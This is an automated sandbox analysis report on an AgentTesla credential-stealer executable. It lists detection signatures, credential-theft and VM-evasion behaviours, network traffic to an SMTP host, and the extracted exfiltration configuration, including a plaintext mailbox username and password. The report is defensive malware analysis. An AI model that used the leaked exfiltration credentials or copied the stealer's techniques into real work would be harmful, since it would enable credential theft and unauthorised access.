Loading ...

Play interactive tourEdit tour

Analysis Report i6xFULh8J5.exe

Overview

General Information

Sample Name:i6xFULh8J5.exe
Analysis ID:432660
MD5:6c425cf25da766d3d98597a9be4e7300
SHA1:874344555856dca223730f32ac81b8a743db4cfd
SHA256:0b72882fbad7f826525003747565e03257ad2e9f60b70d53fe11686dfff1705c
Tags:AgentTeslaexe
Infos:

Most interesting Screenshot:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected unpacking (changes PE section rights)
Detected unpacking (creates a PE file in dynamic memory)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected AgentTesla
Machine Learning detection for sample
Maps a DLL or memory area into another process
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file access)
Antivirus or Machine Learning detection for unpacked file
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Process Tree

  • System is w10x64
  • i6xFULh8J5.exe (PID: 6920 cmdline: 'C:\Users\user\Desktop\i6xFULh8J5.exe' MD5: 6C425CF25DA766D3D98597A9BE4E7300)
    • i6xFULh8J5.exe (PID: 6956 cmdline: 'C:\Users\user\Desktop\i6xFULh8J5.exe' MD5: 6C425CF25DA766D3D98597A9BE4E7300)
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Username": "no-reply@mytravelws.com", "Password": "hbhf@--8hyhb#E6g", "Host": "mail.mytravelws.com"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
      00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
          00000001.00000002.916734898.0000000004862000.00000040.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
            Click to see the 13 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            1.2.i6xFULh8J5.exe.400000.1.raw.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
              1.2.i6xFULh8J5.exe.400000.1.raw.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
                1.2.i6xFULh8J5.exe.2310000.4.raw.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                  1.2.i6xFULh8J5.exe.2310000.4.raw.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
                    1.2.i6xFULh8J5.exe.415058.0.raw.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                      Click to see the 31 entries

                      Sigma Overview

                      No Sigma rule has matched

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Found malware configurationShow sources
                      Source: 1.1.i6xFULh8J5.exe.415058.1.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Username": "no-reply@mytravelws.com", "Password": "hbhf@--8hyhb#E6g", "Host": "mail.mytravelws.com"}
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: i6xFULh8J5.exeVirustotal: Detection: 13%Perma Link
                      Machine Learning detection for sampleShow sources
                      Source: i6xFULh8J5.exeJoe Sandbox ML: detected
                      Source: 1.2.i6xFULh8J5.exe.400000.1.unpackAvira: Label: TR/Spy.Gen8
                      Source: 1.2.i6xFULh8J5.exe.4860000.6.unpackAvira: Label: TR/Spy.Gen8
                      Source: 1.1.i6xFULh8J5.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8

                      Compliance:

                      barindex
                      Detected unpacking (creates a PE file in dynamic memory)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeUnpacked PE file: 1.2.i6xFULh8J5.exe.4860000.6.unpack
                      Detected unpacking (overwrites its own PE header)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeUnpacked PE file: 1.2.i6xFULh8J5.exe.400000.1.unpack
                      Source: i6xFULh8J5.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                      Source: Binary string: wntdll.pdbUGP source: i6xFULh8J5.exe, 00000000.00000003.651186316.0000000009A60000.00000004.00000001.sdmp
                      Source: Binary string: wntdll.pdb source: i6xFULh8J5.exe, 00000000.00000003.651186316.0000000009A60000.00000004.00000001.sdmp
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00405E61 FindFirstFileA,FindClose,0_2_00405E61
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,0_2_0040548B
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_0040263E FindFirstFileA,0_2_0040263E
                      Source: global trafficTCP traffic: 192.168.2.4:49759 -> 185.145.97.154:587
                      Source: Joe Sandbox ViewIP Address: 185.145.97.154 185.145.97.154
                      Source: Joe Sandbox ViewASN Name: HOSTWINDSUS HOSTWINDSUS
                      Source: global trafficTCP traffic: 192.168.2.4:49759 -> 185.145.97.154:587
                      Source: unknownDNS traffic detected: queries for: mail.mytravelws.com
                      Source: i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
                      Source: i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpString found in binary or memory: http://DZUhkq.com
                      Source: i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpString found in binary or memory: http://DynDns.comDynDNS
                      Source: i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
                      Source: i6xFULh8J5.exe, 00000001.00000003.891159515.00000000059C0000.00000004.00000001.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
                      Source: i6xFULh8J5.exe, 00000001.00000002.918823038.00000000059DD000.00000004.00000001.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationScZ
                      Source: i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
                      Source: i6xFULh8J5.exe, 00000001.00000002.915552191.00000000026D7000.00000004.00000001.sdmpString found in binary or memory: http://mail.mytravelws.com
                      Source: i6xFULh8J5.exe, 00000001.00000002.915552191.00000000026D7000.00000004.00000001.sdmpString found in binary or memory: http://mytravelws.com
                      Source: i6xFULh8J5.exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
                      Source: i6xFULh8J5.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
                      Source: i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.comodoca.com0
                      Source: i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.sectigo.com0
                      Source: i6xFULh8J5.exe, 00000001.00000002.915499236.0000000002696000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000003.871081377.0000000004FC1000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000002.915635781.0000000002704000.00000004.00000001.sdmpString found in binary or memory: https://Aloa82nGvgBCiZ.org
                      Source: i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.org%$
                      Source: i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.org%GETMozilla/5.0
                      Source: i6xFULh8J5.exe, 00000001.00000002.915569353.00000000026DD000.00000004.00000001.sdmpString found in binary or memory: https://sectigo.com/CPS0
                      Source: i6xFULh8J5.exe, 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, i6xFULh8J5.exe, 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
                      Source: i6xFULh8J5.exe, 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00405042 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_00405042
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_0040323C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,0_2_0040323C
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_004048530_2_00404853
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_004061310_2_00406131
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_6FC71A980_2_6FC71A98
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_059699191_3_05969919
                      Source: i6xFULh8J5.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
                      Source: i6xFULh8J5.exe, 00000000.00000003.654308462.0000000009D0F000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs i6xFULh8J5.exe
                      Source: i6xFULh8J5.exe, 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameJXRsApCFgOIPRvMvtWyWbNCN.exe4 vs i6xFULh8J5.exe
                      Source: i6xFULh8J5.exe, 00000001.00000002.913725980.0000000000199000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs i6xFULh8J5.exe
                      Source: i6xFULh8J5.exe, 00000001.00000002.914372440.0000000000840000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamemscorrc.dllT vs i6xFULh8J5.exe
                      Source: i6xFULh8J5.exe, 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameJXRsApCFgOIPRvMvtWyWbNCN.exe4 vs i6xFULh8J5.exe
                      Source: i6xFULh8J5.exe, 00000001.00000002.919010044.0000000005F70000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs i6xFULh8J5.exe
                      Source: i6xFULh8J5.exe, 00000001.00000002.917679426.00000000050C0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameKernelbase.dll.muij% vs i6xFULh8J5.exe
                      Source: i6xFULh8J5.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                      Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@3/5@4/1
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00404356 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,0_2_00404356
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00402020 CoCreateInstance,MultiByteToWideChar,0_2_00402020
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile created: C:\Users\user\AppData\Roaming\xnpbd3fr.5juJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile created: C:\Users\user\AppData\Local\Temp\nsb5CBB.tmpJump to behavior
                      Source: i6xFULh8J5.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile read: C:\Users\desktop.iniJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: i6xFULh8J5.exeVirustotal: Detection: 13%
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile read: C:\Users\user\Desktop\i6xFULh8J5.exeJump to behavior
                      Source: unknownProcess created: C:\Users\user\Desktop\i6xFULh8J5.exe 'C:\Users\user\Desktop\i6xFULh8J5.exe'
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess created: C:\Users\user\Desktop\i6xFULh8J5.exe 'C:\Users\user\Desktop\i6xFULh8J5.exe'
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess created: C:\Users\user\Desktop\i6xFULh8J5.exe 'C:\Users\user\Desktop\i6xFULh8J5.exe' Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
                      Source: Binary string: wntdll.pdbUGP source: i6xFULh8J5.exe, 00000000.00000003.651186316.0000000009A60000.00000004.00000001.sdmp
                      Source: Binary string: wntdll.pdb source: i6xFULh8J5.exe, 00000000.00000003.651186316.0000000009A60000.00000004.00000001.sdmp

                      Data Obfuscation:

                      barindex
                      Detected unpacking (changes PE section rights)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeUnpacked PE file: 1.2.i6xFULh8J5.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.gfids:R;.rsrc:R;
                      Detected unpacking (creates a PE file in dynamic memory)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeUnpacked PE file: 1.2.i6xFULh8J5.exe.4860000.6.unpack
                      Detected unpacking (overwrites its own PE header)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeUnpacked PE file: 1.2.i6xFULh8J5.exe.400000.1.unpack
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00405E88
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_6FC72F60 push eax; ret 0_2_6FC72F8E
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_05979E84 push ecx; iretd 1_3_05979E89
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_05979E84 push ecx; iretd 1_3_05979E89
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_0597E21F push edx; retf 1_3_0597E221
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_0597C107 pushad ; retf 1_3_0597C115
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_0597E20D push edx; retf 1_3_0597E21E
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_0597E250 push eax; retf 1_3_0597E251
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_0597E25A push edx; retf 1_3_0597E25B
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_0597CD64 pushad ; ret 1_3_0597CD65
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_05979E84 push ecx; iretd 1_3_05979E89
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_05979E84 push ecx; iretd 1_3_05979E89
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 1_3_05965B3B push FFFFFFDBh; iretd 1_3_05965B4C
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile created: C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dllJump to dropped file
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                      Malware Analysis System Evasion:

                      barindex
                      Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)Show sources
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeFile opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWindow / User API: threadDelayed 626Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWindow / User API: threadDelayed 9227Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exe TID: 5872Thread sleep time: -16602069666338586s >= -30000sJump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exe TID: 5868Thread sleep count: 626 > 30Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exe TID: 5868Thread sleep count: 9227 > 30Jump to behavior
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\i6xFULh8J5.exeCode function: 0_2_00405E61 FindFirstFileA,FindClose,0_2_00405E61
